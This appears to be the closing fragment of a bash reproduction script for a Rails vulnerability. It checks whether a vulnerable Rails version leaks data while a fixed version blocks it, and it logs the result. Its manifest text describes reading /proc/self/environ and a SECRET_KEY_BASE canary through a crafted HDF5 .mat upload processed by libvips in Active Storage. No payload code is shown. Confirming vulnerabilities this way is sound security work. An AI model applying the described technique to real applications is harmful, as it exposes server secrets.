  "logs/attempts/fixed_2/server.log"
  "logs/bundle_vuln.log"
  "logs/bundle_fixed.log"
)

if [ "$VULN_OK" -ge 1 ] && [ "$FIXED_BLOCKED" -ge 1 ]; then
  write_manifest "endpoint" true true true \
    "CVE-2026-66066 confirmed: unauthenticated attacker exfiltrated /proc/self/environ (SECRET_KEY_BASE canary) from the Rails process via crafted .mat (HDF5 external storage) processed by libvips matload through Active Storage :vips variant processing on rails $VULN_VERSION; rails $FIXED_VERSION fails closed with Vips::Error 'matload: operation is blocked'." \
    "${PROOF[@]}"
  echo "RESULT: VULNERABILITY CONFIRMED (CVE-2026-66066)" | tee -a "$LOGS/reproduction_steps.log"
  exit 0
else
  write_manifest "endpoint" true true false \
    "reproduction did not confirm divergent behavior (vuln_leaks=$VULN_OK/2 fixed_blocked=$FIXED_BLOCKED/2)" \
    "${PROOF[@]}"
  echo "RESULT: NOT CONFIRMED" | tee -a "$LOGS/reproduction_steps.log"
  exit 1
fi
